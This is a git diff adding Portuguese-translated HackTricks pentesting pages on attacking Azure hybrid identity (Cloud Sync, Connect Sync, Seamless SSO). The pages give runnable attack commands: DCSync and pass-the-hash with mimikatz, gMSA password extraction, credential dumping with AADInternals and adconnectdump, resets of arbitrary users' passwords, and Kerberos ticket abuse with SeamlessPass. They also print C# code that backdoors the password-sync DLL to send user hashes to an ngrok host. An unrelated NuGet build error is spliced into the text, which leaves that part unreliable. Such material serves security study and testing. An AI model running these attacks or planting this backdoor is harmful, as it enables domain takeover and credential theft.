Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

2026-02-04 19:11:41 -08:00 · 2025-07-23 22:09:55 +00:00
parent 0bb9a937b1
commit b7177a6efc
3 changed files with 471 additions and 35 deletions
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
@@ -0,0 +1,151 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Informações Básicas
+
+**Cloud Sync** é basicamente a nova maneira do Azure de **sincronizar os usuários do AD para o Entra ID**.
+
+[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos com o Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.
+
+### Principais Gerados
+
+Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório local:
+
+- No Entra ID, o usuário `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) é criado com a função **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
+
+> [!WARNING]
+> Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para [**escalar privilégios até o administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
+
+- No Entra ID, também é criado o grupo **`AAD DC Administrators`** sem membros ou proprietários. Este grupo é útil se [`Microsoft Entra Domain Services`](./az-domain-services.md) for utilizado.
+
+- No AD, ou a Conta de Serviço **`provAgentgMSA`** é criada com um SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou uma personalizada com [**essas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente, a padrão é criada.
+
+> [!WARNING]
+> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** tem permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+
+> [!NOTE]
+> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios diretamente **podem ser sincronizados**.
+
+## Sincronização de Senhas
+
+Esta seção é muito semelhante à de:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **A sincronização de hash de senha** pode ser habilitada para que os usuários possam **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
+- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID, sincronizando automaticamente sua senha no domínio local. Mas de acordo com os [documentos atuais](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações.
+- **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD local. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
+
+## Pivoting
+
+### AD --> Entra ID
+
+- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório do Entra ID (geralmente apenas alguns minutos)**.
+
+Então você poderia, por exemplo:
+- Comprometer a conta **`provAgentgMSA`**, realizar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
+- Apenas criar um novo usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-lo para fazer login no Entra ID.
+- Modificar a senha de algum usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-la para fazer login no Entra ID.
+
+Para comprometer as credenciais de **`provAgentgMSA`**:
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+Agora você poderia usar o hash do gMSA para realizar um ataque Pass-the-Hash contra o Entra ID usando a conta `provAgentgMSA` e manter a persistência, podendo realizar ataques DCSync contra o AD.
+
+Para mais informações sobre como comprometer um Active Directory, consulte:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Note que não há como atribuir funções do Azure ou EntraID a usuários sincronizados com base em seus atributos, por exemplo, nas configurações de Cloud Sync. No entanto, para conceder permissões automaticamente a usuários sincronizados, alguns **grupos do Entra ID do AD** podem receber permissões, de modo que os usuários sincronizados dentro desses grupos também as recebam, ou **grupos dinâmicos podem ser usados**, então sempre verifique as regras dinâmicas e possíveis maneiras de abusar delas:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+Quanto à persistência, [este post de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugere que é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para backdoor a dll **`Microsoft.Online.Passwordsynchronisation.dll`** localizada em **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que é usada pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe **`PasswordHashGenerator`** e o post do blog sugere adicionar algum código para que a classe fique assim (note o `use System.Net` e o uso de `WebClient` para exfiltrar os hashes de senha):
+```csharp
+using System;
+using System.Net;
+using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
+
+namespace Microsoft.Online.PasswordSynchronization
+{
+// Token: 0x0200003E RID: 62
+public class PasswordHashGenerator : ClearPasswordHashGenerator
+{
+// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
+public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
+{
+PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
+try
+{
+using (WebClient webClient = new WebClient())
+{
+webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
+}
+}
+catch (Exception)
+{
+}
+return new PasswordHashData
+{
+Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
+RawHash = passwordHashData.RawHash
+};
+}
+}
+}
+```
+NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
+. Please see Error List window for detailed warnings and errors.
+
+### Entra ID --> AD
+
+- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conecte-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente.
+
+- Neste momento, o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+
+> - Esses grupos podem conter apenas usuários sincronizados on-premises e / ou grupos de segurança criados na nuvem adicionais.
+> - As contas de usuário on-premises que são sincronizadas e são membros deste grupo de segurança criado na nuvem podem ser do mesmo domínio ou de domínios diferentes, mas todos devem ser da mesma floresta.
+
+Portanto, a superfície de ataque (e a utilidade) deste serviço é bastante reduzida, pois um atacante precisaria comprometer o AD inicial de onde os usuários estão sendo sincronizados para comprometer um usuário no outro domínio (e ambos devem estar na mesma floresta, aparentemente).
+
+### Enumeration
+```bash
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+--method GET \
+--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+--headers "Content-Type=application/json"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
@@ -0,0 +1,203 @@
+# Az - Connect Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Informações Básicas
+
+[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID.
+
+Para usá-lo, é necessário instalar o **`Microsoft Entra Connect Sync`** agente em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
+
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
+
+O **Connect Sync** é basicamente a maneira "antiga" de **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**:
+
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### Principais Gerados
+
+- A conta **`MSOL_<installationID>`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
+- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local.
+- Uma conta de serviço gerenciada **`ADSyncMSA<id>`** é criada no AD local sem privilégios padrão especiais.
+- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_<id>`** é criado com um certificado.
+
+## Sincronizar Senhas
+
+### Sincronização de Hash de Senha
+
+Este componente também pode ser usado para **sincronizar senhas do AD para o Entra ID** para que os usuários possam usar suas senhas do AD para se conectar ao Entra ID. Para isso, é necessário permitir a sincronização de hash de senha no agente Microsoft Entra Connect Sync instalado em um servidor AD.
+
+[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
+
+Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.
+
+A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
+
+Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
+
+> [!NOTE]
+> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**.
+
+### Escrita de Senha
+
+Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando um usuário altera sua senha no Entra ID. Observe que, para a escrita de senha funcionar, o usuário `MSOL_<id>` gerado automaticamente no AD precisa receber [mais privilégios conforme indicado na documentação](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que ele possa **modificar as senhas de qualquer usuário no AD**.
+
+Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
+
+Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que foram atribuídos a altos privilégios dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
+
+- Usuários atribuídos a altos privilégios diretamente.
+- Usuários do grupo **`DNSAdmins`**.
+- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram.
+- Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory.
+- Usuários de qualquer outro grupo com altos privilégios sem o **atributo `adminCount` igual a 1**.
+
+## Pivotando AD --> Entra ID
+
+### Enumerando Connect Sync
+
+Verifique os usuários:
+```bash
+# Check for the users created by the Connect Sync
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
+Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=MSOL_*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=ADSyncMSA*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=Sync_*)"
+$searcher.FindAll()
+```
+Verifique a **configuração do Connect Sync** (se houver):
+```bash
+az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
+# Check if password sychronization is enabled, if password and group writeback are enabled...
+```
+### Encontrando as senhas
+
+As senhas do **`MSOL_*`** usuário (e do **Sync\_\*** usuário, se criado) estão **armazenadas em um servidor SQL** no servidor onde **Entra ID Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
+O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
+
+É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
+
+`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
+
+A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível obter privilégios elevados no AD e no AzureAD.
+
+Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+
+### Abusando do MSOL\_*
+```bash
+# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
+
+# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
+runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
+```
+> [!WARNING]
+> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais.
+
+
+### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
+
+Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API:
+
+- Microsoft Entra AD Synchronization Service
+- `ADSynchronization.ReadWrite.All`
+- Microsoft password reset service
+- `PasswordWriteback.OffboardClient.All`
+- `PasswordWriteback.RefreshClient.All`
+- `PasswordWriteback.RegisterClientVersion.All`
+
+É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\
+De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele.
+
+Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi publicado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
+
+Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+Na minha experiência, o certificado não está mais armazenado no local onde a ferramenta anterior estava procurando, e, portanto, a ferramenta não funciona mais. Assim, mais pesquisas podem ser necessárias.
+
+### Abusando Sync\_\* [DEPRECATED]
+
+> [!WARNING]
+> Anteriormente, um usuário chamado `Sync_*` foi criado no Entra ID com permissões muito sensíveis atribuídas, o que permitia realizar ações privilegiadas, como modificar a senha de qualquer usuário ou adicionar uma nova credencial a um principal de serviço. No entanto, a partir de jan2025, esse usuário não é mais criado por padrão, pois agora o Aplicativo/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** é usado. No entanto, ele ainda pode estar presente em alguns ambientes, então vale a pena verificar.
+
+Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
+```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
+# This command, run previously, will give us alse the creds of this account
+Get-AADIntSyncCredentials
+
+# Get access token for Sync_* account
+$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
+$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
+Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
+
+# Get global admins
+Get-AADIntGlobalAdmins
+
+# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
+Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
+
+# Reset the users password
+Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
+
+# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
+```
+Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
+```bash
+# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
+# The CloudAnchor is of the format USER_ObjectID.
+Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
+
+# Reset password
+Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
+```
+É também possível despejar a senha deste usuário.
+
+> [!CAUTION]
+> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
+
+### SSO Sem Costura
+
+É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Verifique em:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## Pivotando Entra ID --> AD
+
+- Se a gravação de senha estiver habilitada, você pode **modificar a senha de qualquer usuário no AD** que está sincronizado com Entra ID.
+- Se a gravação de grupos estiver habilitada, você pode **adicionar usuários a grupos privilegiados** no Entra ID que estão sincronizados com o AD.
+
+## Referências
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -4,23 +4,72 @@

 ## Informações Básicas

-[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.
+[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais no local.

 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

-Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**.
+Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio local**.

-É suportado tanto por [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) quanto por [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
+É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md).

-O SSO de desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada AZUREADSSOACC`$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Azure AD** durante a configuração.
+O SSO de Desktop usa **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD local. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Entra ID** durante a configuração.

-Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Azure AD usa a senha enviada para descriptografar os tickets.
+Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID usa a senha enviada para descriptografar os tickets.

-**Azure AD** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
+**Entra ID** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.

-### On-prem -> nuvem
+### Enumeração
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

-A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar silver tickets** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**:
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
+> A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos em nuvem.\
+> Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem.
+
+Para obter esse ticket TGS, o atacante precisa ter um dos seguintes:
+- **Um TGS de um usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos em nuvem.
+- **Um TGT de um usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **Um hash ou senha de usuário comprometido:** SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS.
+- **Um ticket dourado:** Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
+- **O hash ou senha da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+Como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta **SeamlessPass** para acessar os recursos em nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta **`AZUREADSSOACC$`**.
+
+Finalmente, com o TGT é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
